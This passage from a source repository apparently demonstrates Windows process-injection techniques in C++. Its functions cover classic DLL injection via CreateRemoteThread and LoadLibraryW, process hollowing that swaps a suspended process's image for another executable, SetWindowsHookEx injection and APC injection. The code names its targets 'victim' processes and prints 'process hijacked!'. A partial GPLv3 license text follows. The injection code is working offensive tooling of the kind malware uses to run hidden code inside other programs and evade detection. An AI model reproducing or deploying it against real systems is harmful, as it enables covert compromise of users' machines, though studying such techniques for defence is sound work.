 74 | 	GetFullPathName(dll_name, MAX_PATH, lpdllpath, nullptr);
 75 | 
 76 | 	/* Snapshot of processes */
 77 | 	DWORD processId{};
 78 | 	DbgPrint("[+] creating process snapshot");
 79 | 	auto hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
 80 | 	if (hSnapshot == INVALID_HANDLE_VALUE)
 81 | 	{
 82 | 		DbgPrint("[!] failed to create process snapshot");
 83 | 		return FALSE;
 84 | 	}
 85 | 	DbgPrint("[+] Created process snapshot\n\n");
 86 | 	PROCESSENTRY32 pe{}; /* Describes an entry from a list of the processes residing
 87 | 						 in the system address space when a snapshot was taken.
 88 | 						 The size of the structure, in bytes. Before calling the
 89 | 						 Process32First function, set this member to sizeof(PROCESSENTRY32).
 90 | 						 If you do not initialize dwSize, Process32First fails. (msdn) */
 91 | 	
 92 | 	pe.dwSize = sizeof PROCESSENTRY32;
 93 | 		/* MSDN:
 94 | 		The size of the structure, in bytes. Before calling the Process32First 
 95 | 		function, set this member to sizeof(PROCESSENTRY32). 
 96 | 		If you do not initialize dwSize, Process32First fails.*/
 97 | 
 98 | 
 99 | 	/* get first PID */
100 | 	DbgPrint("[+] Starting process search");
101 | 	BOOL isProcessFound = FALSE;
102 | 	if (Process32First(hSnapshot, &pe) == FALSE)  
103 | 	{
104 | 		CloseHandle(hSnapshot);
105 | 		DbgPrint("[!] unable to take first process snapshot");
106 | 		return FALSE;
107 | 	}
108 | 
109 | 	if (_wcsicmp(pe.szExeFile, processname) == 0) // if pe.szExeFile and Processname are the same
110 | 	{
111 | 		CloseHandle(hSnapshot);
112 | 		processId = pe.th32ProcessID;
113 | 		isProcessFound = TRUE;
114 | 		#ifdef DEBUG
115 | 		cout << "[+] Got PID: " << processId << endl;
116 | 		#endif
117 | 	}
118 | 
119 | 	/* End get first PID */
120 | 
121 | 	/* Get the rest and process like the first */
122 | 	while (Process32Next(hSnapshot, &pe))
123 | 	{
124 | 		if (_wcsicmp(pe.szExeFile, processname) == 0)
125 | 		{
126 | 			DbgPrint("[+] Closing handle to process snapshot");
127 | 			CloseHandle(hSnapshot);
128 | 			processId = pe.th32ProcessID;
129 | 			DbgPrint("[+] Found Process");
130 | 			#ifdef DEBUG
131 | 			cout << "[+] Got PID: " << processId << endl;
132 | 			#endif
133 | 			break;
134 | 		}
135 | 	}
136 | 	DbgPrint("[+] Done with process search\n\n");
137 | 	//Check if process was found
138 | 	if (isProcessFound)
139 | 	{
140 | 		DbgPrint("[!] failed to find process");
141 | 		return FALSE;
142 | 	}
143 | 	
144 | 	
145 | 	/* this portion get it and puts it in the memory of the remote process */
146 | 	// get size of the dll's path
147 | 	auto size = wcslen(lpdllpath) * sizeof(TCHAR);
148 | 	
149 | 	// open selected process
150 | 	DbgPrint("[+] Opening Process");
151 | 	auto hVictimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processId);
152 | 	if (hVictimProcess == NULL) // check if process open failed
153 | 	{
154 | 		DbgPrint("[!]Failed to open process");
155 | 		return FALSE;
156 | 	}
157 | 	DbgPrint("[+] Open'd Process\n\n");
158 | 	DbgPrint("[+] Allocating some memory in the remote process");
159 | 	// allocate memory in the remote process
160 | 	auto pNameInVictimProcess = VirtualAllocEx(hVictimProcess, 
161 | 													nullptr,
162 | 														size, 
163 | 						MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
164 | 	if (pNameInVictimProcess == NULL) //Check if allocation failed
165 | 	{
166 | 		DbgPrint("[!] allocation of memory failed");
167 | 		return FALSE;
168 | 	}
169 | 	DbgPrint("[+] allocated memory\n\n");
170 | 	// write the DLL to memory
171 | 	DbgPrint("[+] Writing to remote process mem");
172 | 	auto bStatus = WriteProcessMemory(hVictimProcess, 
173 | 								pNameInVictimProcess, 
174 | 										   lpdllpath, 
175 | 												size, 
176 | 												nullptr);
177 | 	if (bStatus == 0)
178 | 	{
179 | 		DbgPrint("[!] failed to write memory to the process");
180 | 		return FALSE;
181 | 	}
182 | 
183 | 	DbgPrint("[+] Wrote remote process memory\n\n");
184 | 	
185 | 	// gets a handle for kernel32dll's LoadLibrary call
186 | 	DbgPrint("[+] Getting handle for kernel32");
187 | 	auto hKernel32 = GetModuleHandle(L"kernel32.dll");
188 | 	if (hKernel32 == NULL)
189 | 	{
190 | 		DbgPrint("[!] Unable to find Kernel32 in process");
191 | 		return FALSE;
192 | 	}
193 | 	DbgPrint("[+] Got kernel32 handle");
194 | 	DbgPrint("[+] Getting loadLibraryW handle");
195 | 	auto LoadLibraryAddress = GetProcAddress(hKernel32, "LoadLibraryW");
196 | 	if (LoadLibraryAddress == NULL)
197 | 	{
198 | 		DbgPrint("[-] Unable to find LoadLibraryW");
199 | 		DbgPrint("[-] Trying LoadLibraryA");
200 | 		if ((LoadLibraryAddress = GetProcAddress(hKernel32, "LoadLibraryA")) == NULL)
201 | 		{
202 | 			DbgPrint("[!] LoadLibraryA failed as well.");
203 | 			return FALSE;
204 | 		}
205 | 	}
206 | 	DbgPrint("[+] Got loadLibrary handle\n\n");
207 | 	
208 | 	// Using the above objects execute the DLL in the remote process
209 | 	DbgPrint("[+] starting new thread to execute injected dll");
210 | 	auto hThreadId = CreateRemoteThread(hVictimProcess, 
211 | 		nullptr, 
212 | 		0, 
213 | 		reinterpret_cast<LPTHREAD_START_ROUTINE>(LoadLibraryAddress), 
214 | 		pNameInVictimProcess, 
215 | 		NULL, 
216 | 		nullptr);
217 | 	if (hThreadId == NULL)
218 | 	{
219 | 		DbgPrint("[!] failed to create remote process");
220 | 		return FALSE;
221 | 	}
222 | 	DbgPrint("[+] started new thread\n\n");
223 | 
224 | 	/*if (bStatus == NULL)
225 | 		return FALSE; 
226 | 		NOT NEEDED ANYMORE*/ 
227 | 	DbgPrint("[+] waiting for thread to execute");
228 | 	WaitForSingleObject(hThreadId, INFINITE);
229 | 	DbgPrint("[+] Done!!!! Closing handle\n");
230 | 
231 | 	CloseHandle(hVictimProcess);
232 | 	DbgPrint("[+] Closed process handle");
233 | 	VirtualFreeEx(hVictimProcess, pNameInVictimProcess, size, MEM_RELEASE);
234 | 
235 | 	DbgPrint("Injected Successfully");
236 | 	return TRUE;
237 | }
238 | 
239 | void PE_FILE::set_sizes(size_t size_ids_, size_t size_dos_stub_, size_t size_inh32_, size_t size_ish_, size_t size_sections_)
240 | {
241 | 	this->size_ids = size_ids_;
242 | 	this->size_dos_stub = size_dos_stub_;
243 | 	this->size_inh32 = size_inh32_;
244 | 	this->size_ish = size_ish_ + sizeof(IMAGE_SECTION_HEADER);
245 | 	this->size_sections = size_sections_;
246 | }
247 | 
248 | tuple<bool, char*, streampos> OpenBinary(wstring filename)
249 | {
250 | 	auto flag = false;	// assume failure
251 | 	fstream::pos_type size{};  // create filesize as fstream object
252 | 	char* bin{}; // create char pointer object
253 | 
254 | 
255 | 	ifstream ifile(filename, ios::binary | ios::in | ios::ate);
256 | 	if (ifile.is_open())
257 | 	{
258 | 		size = ifile.tellg();  // set size to current filepointer location (tellg method of istream)
259 | 		bin = new char[size];  //create (in stack) the new char buffer for the binry 
260 | 		//Standard get filezise algorithm
261 | 		ifile.seekg(0, ios::beg); 
262 | 		ifile.read(bin, size);
263 | 		ifile.close();
264 | 
265 | 		flag = true;
266 | 	}
267 | 	return make_tuple(flag, bin, size); // return tuple of gathered data
268 | }
269 | 
270 | PE_FILE ParsePE(const char* PE)
271 | {
272 | 	PE_FILE pefile{};
273 | 	memcpy_s(&pefile.ids, sizeof(IMAGE_DOS_HEADER), PE, sizeof(IMAGE_DOS_HEADER));
274 | 	memcpy_s(&pefile.inh32, sizeof(IMAGE_NT_HEADERS64), PE + pefile.ids.e_lfanew, sizeof(IMAGE_NT_HEADERS64)); // address of PE header = e_lfanew
275 | 	size_t stub_size = pefile.ids.e_lfanew - 0x3c - 0x4; // 0x3c offet of e_lfanew
276 | 	pefile.MS_DOS_STUB = vector<char>(stub_size);
277 | 	memcpy_s(pefile.MS_DOS_STUB.data(), stub_size, (PE + 0x3c + 0x4), stub_size);
278 | 
279 | 	auto number_of_sections = pefile.inh32.FileHeader.NumberOfSections;
280 | 	pefile.ish = vector<IMAGE_SECTION_HEADER>(number_of_sections + 1); // Number of sections
281 | 
282 | 	auto PE_Header = PE + pefile.ids.e_lfanew;
283 | 	auto First_Section_Header = PE_Header + 0x18 + pefile.inh32.FileHeader.SizeOfOptionalHeader; // First Section: PE_header + sizeof FileHeader + sizeof Optional Header
284 | 
285 | 																								 // copy section headers
286 | 	for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i)
287 | 	{
288 | 		memcpy_s(&pefile.ish[i], sizeof(IMAGE_SECTION_HEADER), First_Section_Header + (i * sizeof(IMAGE_SECTION_HEADER)), sizeof(IMAGE_SECTION_HEADER));
289 | 	}
290 | 
291 | 	for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i)
292 | 	{
293 | 		shared_ptr<char> t_char(new char[pefile.ish[i].SizeOfRawData]{}, std::default_delete<char[]>()); // Section
294 | 		memcpy_s(t_char.get(), pefile.ish[i].SizeOfRawData, PE + pefile.ish[i].PointerToRawData, pefile.ish[i].SizeOfRawData); // copy sections.
295 | 		pefile.Sections.push_back(t_char);
296 | 	}
297 | 	size_t sections_size{};
298 | 	for (WORD i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i)
299 | 	{
300 | 		sections_size += pefile.ish[i].SizeOfRawData;
301 | 	}
302 | 
303 | 	pefile.set_sizes(sizeof(pefile.ids), stub_size, sizeof(pefile.inh32), number_of_sections * sizeof(IMAGE_SECTION_HEADER), sections_size);
304 | 
305 | 	return pefile;
306 | }
307 | 
308 | // Based on John Leitch's paper "Process Hollowing"
309 | BOOL ProcessReplacement(TCHAR* target, wstring inj_exe)
310 | {
311 | 	DbgPrint("==============Initial Processing==================");
312 | 	DbgPrint("[ ] Opening Binary to read into buffer");
313 | 	tuple<bool, char*, fstream::pos_type>  bin = OpenBinary(inj_exe);
314 | 	DbgPrint("[+] Opened binary\n");
315 | 	if (!get<0>(bin)) // verify that tuple exists (file is open)
316 | 	{
317 | 		cout << "Error to open file";
318 | 		return EXIT_FAILURE;
319 | 	}
320 | 
321 | 	char* PE_file = get<1>(bin); // get pointer to binary as char array
322 | 	size_t size_of_pe = get<2>(bin);  //get the filesize from the OpenBinary call
323 | 	DbgPrint("[ ] Parsing PE from buffer");
324 | 	auto Parsed_PE = ParsePE(PE_file);  // Get the PE_FILE object from the function (local, not a standard C++ function)
325 | 	DbgPrint("[+] Got PE info");		// PE_FILE is defined in the Injection.h file
326 | 
327 | 
328 | 	auto pStartupInfo = new STARTUPINFO();  // Specifies the window station, desktop, standard handles, 
329 | 											// and appearance of the main window for a process at creation time.
330 | 											// MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
331 | 
332 | 	auto remoteProcessInfo = new PROCESS_INFORMATION();  // Structure that contains the information about a process object
333 | 													// MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
334 | 	DbgPrint("===================================================\n\n");
335 | 	DbgPrint("============Creating Process to Infect=============");
336 | 
337 | 	/* CreateProcess is a complex call so I am breaking it out into paramaters*/
338 | 	//MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx
339 | 	DbgPrint("[ ]Creating host process");
340 | 	CreateProcess(target,			//lpApplicationName		name of process to be executed
341 | 		nullptr,					//lpCommandLine			command line to be executed (not used so Application name is used)
342 | 		nullptr,					//lpProcessAttributes	user specified process params using SECURITY_ATTRIBUTES struct
343 | 		nullptr,					//lpThreadAttributes	user specified thread params using SECURITY_ATTRIBUTES struct
344 | 		FALSE,						//bInheritHandles		Disallow the inheritance of process handles to child processes (we are not a child thread)
345 | 		NORMAL_PRIORITY_CLASS,		//dwCreationFlags		Flag to priotiry level of the process (here we are normal)
346 | 		nullptr,					//lpEnvironment			Enviromental Vars to hand to the new process (perhaps useful for modified mimikatz?)
347 | 		nullptr,					//lpCurrentDirectory	used to declare working directory for process (normally used by shells that need to start at $HOME)
348 | 		pStartupInfo,				//lpStartupInfo			Our startupinfo object for process info
349 | 		remoteProcessInfo);				//lpProcessInformation	The processinformation object we use to manipulate the process
350 | 
351 | 	if (!remoteProcessInfo->hProcess)	// no real need to check the output of Create Process because all the return info needs to be checked anyway
352 | 	{
353 | 		DbgPrint("[-] Failed to create remote thread");
354 | 		return FALSE;
355 | 	}
356 | 	if (SuspendThread(remoteProcessInfo->hThread) == -1)	//Suspend thread to hijack
357 | 	{
358 | 		DbgPrint("[-] Failed to stop remote process");
359 | 		return FALSE;
360 | 	}
361 | 	DbgPrint("[+] Created host process");
362 | 	DWORD dwReturnLength;	//used later in remote call
363 | 	DbgPrint("===================================================\n\n");
364 | 	// read remote PEB
365 | 	PROCESS_BASIC_INFORMATION ProcessBasicInformation; 
366 | 	
367 | 	DbgPrint("============Hijacking Remote Functions==============");
368 | 	// get NtQueryInformationProcess
369 | 	DbgPrint("[ ] loading remote process libraries and functions to build new PEB");
370 | 	DbgPrint("[ ] getting ntdll");
371 | 	auto handleToRemoteNtDll = LoadLibrary(L"ntdll");	//Locate NTDLL in new process memory
372 | 	if (!handleToRemoteNtDll)
373 | 	{
374 | 		DbgPrint("[-] failed to get remote handle to NTDLL");
375 | 		return FALSE;
376 | 	}
377 | 	DbgPrint("[+] got ntdll\n");
378 | 	DbgPrint("[ ] getting NtQueryInformationProcess");
379 | 	auto fpNtQueryInformationProcess = GetProcAddress(handleToRemoteNtDll, "NtQueryInformationProcess");
380 | 	if (!fpNtQueryInformationProcess)
381 | 	{
382 | 		DbgPrint("[-] Failed to locate remote NtQueryInformationProcess function");
383 | 		return FALSE;
384 | 	}
385 | 	DbgPrint("[+] got NtQueryInformationProcess\n");
386 | 	DbgPrint("[ ] Executing NtQueryInformationProcess");
387 | 
388 | 	auto remoteNtQueryInformationProcess = reinterpret_cast<_NtQueryInformationProcess>(fpNtQueryInformationProcess);
389 | 
390 | 	//Call remote process NtQueryInformationProcess function
391 | 	remoteNtQueryInformationProcess(remoteProcessInfo->hProcess,
392 | 		PROCESSINFOCLASS(0),
393 | 		&ProcessBasicInformation,
394 | 		sizeof(PROCESS_BASIC_INFORMATION),
395 | 		&dwReturnLength);
396 | 	DbgPrint("[+] executed NtQueryInformationProcess\n");
397 | 	auto dwPEBBAddress = ProcessBasicInformation.PebBaseAddress; //remote PEB info
398 | 
399 | 	auto pPEB = new PEB(); //create new PEB object
400 | 	DbgPrint("[ ] reading process memory to locate remote PEB");
401 | 	if (!ReadProcessMemory(remoteProcessInfo->hProcess,	// load info for PEB of remote process 
402 | 		static_cast<LPCVOID>(dwPEBBAddress),
403 | 		pPEB,
404 | 		sizeof(PEB),
405 | 		nullptr))
406 | 	{
407 | 		DbgPrint("[-] failed to load remote PEB");
408 | 		return FALSE;
409 | 	}
410 | 	DbgPrint("[+] read forign PEB");
411 | 	DbgPrint("[+] parsed remote PEB\n");
412 | 	// remote image size calculation
413 | 	auto BUFFER_SIZE = sizeof IMAGE_DOS_HEADER + sizeof IMAGE_NT_HEADERS64 + (sizeof IMAGE_SECTION_HEADER) * 100;
414 | 
415 | 	auto remoteProcessBuffer = new BYTE[BUFFER_SIZE];
416 | 
417 | 	LPCVOID remoteImageAddressBase = pPEB->Reserved3[1]; // set forged process ImageBase to remote processes' image base
418 | 	DbgPrint("[ ] Reading process memory to find process image");
419 | 	if (!ReadProcessMemory(remoteProcessInfo->hProcess, // read process image from loaded process (so we can replace these parts later)
420 | 		remoteImageAddressBase,
421 | 		remoteProcessBuffer,
422 | 		BUFFER_SIZE,
423 | 		nullptr))
424 | 		return FALSE;
425 | 	DbgPrint("[+] found remote process image\n");
426 | 	// get handle to unmap remote process sections for replacement
427 | 	DbgPrint("[ ] loading remote call to unmap");
428 | 	auto fpZwUnmapViewOfSection = GetProcAddress(handleToRemoteNtDll, "ZwUnmapViewOfSection");
429 | 	//Create callable version of remote unmap call
430 | 	auto ZwUnmapViewOfSection = reinterpret_cast<_ZwUnmapViewOfSection>(fpZwUnmapViewOfSection);
431 | 
432 | 	//Unmap remote process image
433 | 	if (ZwUnmapViewOfSection(remoteProcessInfo->hProcess, const_cast<PVOID>(remoteImageAddressBase)))
434 | 	{
435 | 		DbgPrint("[-] failed to unmap remote process image");
436 | 		return FALSE;
437 | 	}
438 | 	DbgPrint("[+] unmap'd remote process image\n");
439 | 	// Allocating memory for our PE file
440 | 	/* 
441 | 
442 | 	MSDN: https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa366890(v=vs.85).aspx
443 | 	*/
444 | 
445 | 	DbgPrint("[!] hijacking remote image");
446 | 	DbgPrint("[ ] allocating memory in forign process");
447 | 	auto hijackerRemoteImage = VirtualAllocEx(remoteProcessInfo->hProcess,		//hProcess			handle to the remote process
448 | 		const_cast<LPVOID>(remoteImageAddressBase),						//lpAddress			address to allocate at (here we are using the old process image base address)
449 | 		Parsed_PE.inh32.OptionalHeader.SizeOfImage,						//dwSize			size of  allocation (our new pe's length goes here 
450 | 		MEM_COMMIT | MEM_RESERVE,										//flAllocationType	The type of memory allocation this part is system magic so RTFM at MSDN
451 | 		PAGE_EXECUTE_READWRITE);										//flProtect			Tell the kernel to allocate with these protections, which is none so... "RAWDOG IT!!!"
452 | 	
453 | 	if (!hijackerRemoteImage)	//if the call screws up then just die
454 | 	{
455 | 		DbgPrint("[-] failed to allocate memory in remote process");
456 | 		return FALSE;
457 | 	}
458 | 	DbgPrint("[+] alocated memory in remote process\n");
459 | 	// calculate relocation delta
460 | 	auto dwDelta = ULONGLONG(remoteImageAddressBase) - Parsed_PE.inh32.OptionalHeader.ImageBase;  // change to pImageAddressBase
461 | 
462 | 	//Here we cast the new process to a function pointer that we will cause the remote process to execute
463 | 	Parsed_PE.inh32.OptionalHeader.ImageBase = reinterpret_cast<ULONGLONG>(remoteImageAddressBase);
464 | 
465 | 	DbgPrint("[ ] writing hijack image to remote process");
466 | 	if (!WriteProcessMemory(remoteProcessInfo->hProcess,		//hProcess					the handle to the remote process
467 | 		const_cast<LPVOID>(remoteImageAddressBase),				//lpBaseAddress				The address to start writing to
468 | 		PE_file,												//lpBuffer					the buffer to write to the process
469 | 		Parsed_PE.inh32.OptionalHeader.SizeOfHeaders,			//nSize						number of bytes to write
470 | 		nullptr))												//lpNumberOfBytesWritten	(unused) int pointer to write the return value to
471 | 	{
472 | 		DbgPrint("[-] failed to write new headers to remote process memory");
473 | 		return FALSE;
474 | 	}
475 | 
476 | 	for (WORD i = 0; i < Parsed_PE.inh32.FileHeader.NumberOfSections; ++i)
477 | 	{
478 | 		auto VirtAddress = PVOID(reinterpret_cast<ULONGLONG>(remoteImageAddressBase) + Parsed_PE.ish[i].VirtualAddress);
479 | 
480 | 		if (!WriteProcessMemory(remoteProcessInfo->hProcess,	//write new sections to the remote processes' memory 
481 | 			VirtAddress,
482 | 			Parsed_PE.Sections[i].get(),
483 | 			Parsed_PE.ish[i].SizeOfRawData,
484 | 			nullptr))
485 | 		{
486 | 			DbgPrint("[-] failed to write one of new process sections");
487 | 			return FALSE;
488 | 		}
489 | 	}
490 | 	DbgPrint("[+] wrote process mem");
491 | 	DbgPrint("===================================================\n\n");
492 | 	// if delta > 0  - todo
493 | 
494 | 	// cast new callable entry point from remote process base address
495 | 	auto dwEntrypoint = reinterpret_cast<ULONGLONG>(remoteImageAddressBase) + Parsed_PE.inh32.OptionalHeader.AddressOfEntryPoint;
496 | 
497 | 	// Under a multitasking OS like Windows, there can be several programs running at the same time.
498 | 	// Windows gives each thread a timeslice. When that timeslice expires, 
499 | 	// Windows freezes the present thread and switches to the next thread that has the highest priority.
500 | 	// Just before switching to the other thread, Windows saves values in registers of the present thread
501 | 	// so that when the time comes to resume the thread, Windows can restore the last *environment* of that thread.
502 | 	// The saved values of the registers are collectively called a context.
503 | 	DbgPrint("==============Hijacking Remote Process=================");
504 | 	DbgPrint("[ ] saving debugging context of process");
505 | 	LPCONTEXT remoteProcessContext = new CONTEXT();		//This is a debugging structure to hold the old process "context" like registers and whatnot
506 | 	remoteProcessContext->ContextFlags = CONTEXT_FULL;	// A value indicating which portions of the Context structure should be initialized. This parameter influences the size of the initialized Context structure.
507 | 
508 | 
509 | 	if (!GetThreadContext(remoteProcessInfo->hThread, remoteProcessContext))	//get context to be used to restore process
510 | 	{
511 | 		DbgPrint("Failed to get debugging context of remote process");
512 | 		return FALSE;
513 | 	}
514 | 	DbgPrint("[+] saved process context\n");
515 | 	
516 | 	DbgPrint("[*] modifying proc context RCX->EntryPoint()");
517 | 	remoteProcessContext->Rcx = dwEntrypoint;			//Set RCX register to the EntryPoint
518 | 	
519 | 	DbgPrint("[ ] restoring modified context");
520 | 	if (!SetThreadContext(remoteProcessInfo->hThread, remoteProcessContext))
521 | 	{
522 | 		DbgPrint("[-] failed to set remote process context");
523 | 		return FALSE;
524 | 	}
525 | 	if (!GetThreadContext(remoteProcessInfo->hThread, remoteProcessContext))
526 | 	{
527 | 		DbgPrint("[-] failed to set control thread context");
528 | 		return FALSE;
529 | 	}
530 | 	DbgPrint("[+] restored process context\n");
531 | 
532 | 	DbgPrint("[ ] resuming hijacked process");
533 | 	if (!ResumeThread(remoteProcessInfo->hThread))
534 | 	{
535 | 		DbgPrint("[-] failed to resume remote process");
536 | 		return FALSE;
537 | 	}
538 | 	DbgPrint("[!] process hijacked!");
539 | 	  ////////////////////////////////////////////////////////
540 | 	 //////AND THATS IT, WE HAVE HIJACKED A PROCESS!!!!//////
541 | 	////////////////////////////////////////////////////////
542 | 
543 | 	CloseHandle(remoteProcessInfo->hProcess);
544 | 	return TRUE;
545 | }
546 | 
547 | BOOL HookInjection(TCHAR target[], TCHAR *dll_name)
548 | {
549 | 	// https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
550 | 	// SetWindowsHookEx can be used to inject a DLL into another process. A 32 - bit DLL cannot be injected into a 64 - bit process, 
551 | 	// and a 64 - bit DLL cannot be injected into a 32 - bit process.If an application requires the use of hooks in other processes, 
552 | 	// it is required that a 32 - bit application call SetWindowsHookEx to inject a 32 - bit DLL into 32 - bit processes, 
553 | 	// and a 64 - bit application call SetWindowsHookEx to inject a 64 - bit DLL into 64 - bit processes.The 32 - bit and 64 - bit DLLs must have different names.
554 | 	DbgPrint("[ ] loading module in local process");
555 | 	auto hdll = LoadLibrary(dll_name);
556 | 	DbgPrint("[+] loaded dll\n");
557 | 
558 | 	typedef LRESULT(WINAPI * MyProc)(int code, WPARAM wp, LPARAM lp); // export from calc_dll.dll
559 | 
560 | 	auto mp = MyProc(GetProcAddress(hdll, "MyProc"));
561 | 	//auto mp = MyProc(GetProcAddress(hdll, "StartW"));
562 | 
563 | 
564 | 	auto pStartupInfo = new STARTUPINFO();
565 | 	auto pProcessInfo = new PROCESS_INFORMATION();
566 | 	DbgPrint("[ ] creating process to hook");
567 | 	CreateProcess(target, 
568 | 		nullptr, 
569 | 		nullptr, 
570 | 		nullptr, 
571 | 		FALSE, 
572 | 		NORMAL_PRIORITY_CLASS, 
573 | 		nullptr, 
574 | 		nullptr, 
575 | 		pStartupInfo, 
576 | 		pProcessInfo);
577 | 
578 | 	if (!pProcessInfo->hProcess)
579 | 	{
580 | 		DbgPrint("[-] failed to create process");
581 | 		return FALSE;
582 | 	}
583 | 	DbgPrint("[+] Created hook process\n");
584 | 	
585 | 	DbgPrint("[ ] creating process hook");
586 | 	auto hProc = SetWindowsHookEx(WH_CBT,	// Installs a hook procedure that receives notifications useful to a CBT application
587 | 		mp,									// my proc symbol taken from the dll
588 | 		hdll,								// dll containing my proc
589 | 		pProcessInfo->dwThreadId);			// dword to the thread (something something windows store) RTFM
590 | 	if (!hProc)
591 | 	{
592 | 		DbgPrint("[-] failed to hook process");
593 | 		return FALSE;
594 | 	}
595 | 	DbgPrint("[+] hook injected");
596 | 	UnhookWindowsHookEx(hProc);
597 | 
598 | 	return TRUE;
599 | }
600 | 
601 | // https://blogs.microsoft.co.il/pavely/2017/03/14/injecting-a-dll-without-a-remote-thread/
602 | BOOL APCinjection(TCHAR target[], TCHAR *dll_name) {
603 | 	TCHAR lpdllpath[MAX_PATH];
604 | 	GetFullPathName(dll_name, MAX_PATH, lpdllpath, nullptr);
605 | 
606 | 	DWORD pid{};
607 | 	vector<DWORD> tids{};
608 | 	// TODO: in code documentation and break up the messy dually
609 |         // nested function calls for demonstration purposes
610 |         // note to self (perhaps dllinjection/process replacement
611 |         // could be done in a bunch of natsy nested calls)
612 |         // I may do that as a joke. X in one line of code XD
613 | 	DbgPrint("[ ] finding matching process name");
614 | 	if (!FindProcess(target, pid, tids))
615 | 	{
616 | 		DbgPrint("[-] failed to find process");
617 | 		return FALSE;
618 | 	}
619 | 	DbgPrint("[+] found prcoess\n");
620 | 	DbgPrint("[ ] Opening Process");
621 | 	auto hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
622 | 	if (!hProcess)
623 | 	{
624 | 		DbgPrint("[-] failed to open proceess");
625 | 		return FALSE;
626 | 	}
627 | 	DbgPrint("[+] Opened process\n");
628 | 	
629 | 	DbgPrint("[ ] allocating memory in process");
630 | 	auto pVa = VirtualAllocEx(hProcess, 
631 | 		nullptr, 
632 | 		1 << 12, 
633 | 		MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
634 | 	DbgPrint("[+] allocated memory in remote process\n");
635 | 	DbgPrint("[ ] writing remote process memeory");
636 | 	if (!WriteProcessMemory(hProcess, pVa, lpdllpath, sizeof(lpdllpath), nullptr))
637 | 	{
638 | 		DbgPrint("[-] failed to write remote process memory");
639 | 		return FALSE;
640 | 	}
641 | 	DbgPrint("[+] wrote remote process memory");
642 | 	DbgPrint("[ ] Enumerating APC threads in remote process");
643 | 	for (const auto &tid : tids) {
644 | 		auto hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
645 | 		if (hThread) {
646 | 			DbgPrint("[*] found thread");
647 | 			QueueUserAPC(
648 | 				(PAPCFUNC)GetProcAddress(
649 | 					GetModuleHandle(L"kernel32"), 
650 | 					"LoadLibraryW"), 
651 | 				hThread, 
652 | 				(ULONG_PTR)pVa);
653 | 			CloseHandle(hThread);
654 | 		}
655 | 	}
656 | 	CloseHandle(hProcess);
657 | 	return TRUE;
658 | }
659 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                     GNU GENERAL PUBLIC LICENSE
  2 |                        Version 3, 29 June 2007
  3 | 
  4 |  Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
  5 |  Everyone is permitted to copy and distribute verbatim copies
  6 |  of this license document, but changing it is not allowed.
  7 | 
  8 |                             Preamble
  9 | 
 10 |   The GNU General Public License is a free, copyleft license for
 11 | software and other kinds of works.
 12 | 
 13 |   The licenses for most software and other practical works are designed
 14 | to take away your freedom to share and change the works.  By contrast,
 15 | the GNU General Public License is intended to guarantee your freedom to
 16 | share and change all versions of a program--to make sure it remains free
 17 | software for all its users.  We, the Free Software Foundation, use the
 18 | GNU General Public License for most of our software; it applies also to
 19 | any other work released this way by its authors.  You can apply it to
 20 | your programs, too.
 21 | 
 22 |   When we speak of free software, we are referring to freedom, not
 23 | price.  Our General Public Licenses are designed to make sure that you
 24 | have the freedom to distribute copies of free software (and charge for
 25 | them if you wish), that you receive source code or can get it if you
 26 | want it, that you can change the software or use pieces of it in new
 27 | free programs, and that you know you can do these things.
 28 | 
 29 |   To protect your rights, we need to prevent others from denying you
 30 | these rights or asking you to surrender the rights.  Therefore, you have
 31 | certain responsibilities if you distribute copies of the software, or if
 32 | you modify it: responsibilities to respect the freedom of others.
 33 | 
 34 |   For example, if you distribute copies of such a program, whether
 35 | gratis or for a fee, you must pass on to the recipients the same
 36 | freedoms that you received.  You must make sure that they, too, receive
 37 | or can get the source code.  And you must show them these terms so they
 38 | know their rights.
 39 | 
 40 |   Developers that use the GNU GPL protect your rights with two steps:
 41 | (1) assert copyright on the software, and (2) offer you this License
 42 | giving you legal permission to copy, distribute and/or modify it.
 43 | 
 44 |   For the developers' and authors' protection, the GPL clearly explains
 45 | that there is no warranty for this free software.  For both users' and
 46 | authors' sake, the GPL requires that modified versions be marked as
 47 | changed, so that their problems will not be attributed erroneously to
 48 | authors of previous versions.
 49 | 
 50 |   Some devices are designed to deny users access to install or run
 51 | modified versions of the software inside them, although the manufacturer
 52 | can do so.  This is fundamentally incompatible with the aim of
 53 | protecting users' freedom to change the software.  The systematic
 54 | pattern of such abuse occurs in the area of products for individuals to
 55 | use, which is precisely where it is most unacceptable.  Therefore, we
 56 | have designed this version of the GPL to prohibit the practice for those
 57 | products.  If such problems arise substantially in other domains, we
 58 | stand ready to extend this provision to those domains in future versions
 59 | of the GPL, as needed to protect the freedom of users.
 60 | 
 61 |   Finally, every program is threatened constantly by software patents.
 62 | States should not allow patents to restrict development and use of
 63 | software on general-purpose computers, but in those that do, we wish to
 64 | avoid the special danger that patents applied to a free program could
 65 | make it effectively proprietary.  To prevent this, the GPL assures that
 66 | patents cannot be used to render the program non-free.
 67 | 
 68 |   The precise terms and conditions for copying, distribution and
 69 | modification follow.
 70 | 
 71 |                        TERMS AND CONDITIONS
 72 | 
 73 |   0. Definitions.
 74 | 
 75 |   "This License" refers to version 3 of the GNU General Public License.
 76 | 
 77 |   "Copyright" also means copyright-like laws that apply to other kinds of
 78 | works, such as semiconductor masks.
 79 | 
 80 |   "The Program" refers to any copyrightable work licensed under this
 81 | License.  Each licensee is addressed as "you".  "Licensees" and
 82 | "recipients" may be individuals or organizations.
 83 | 
 84 |   To "modify" a work means to copy from or adapt all or part of the work
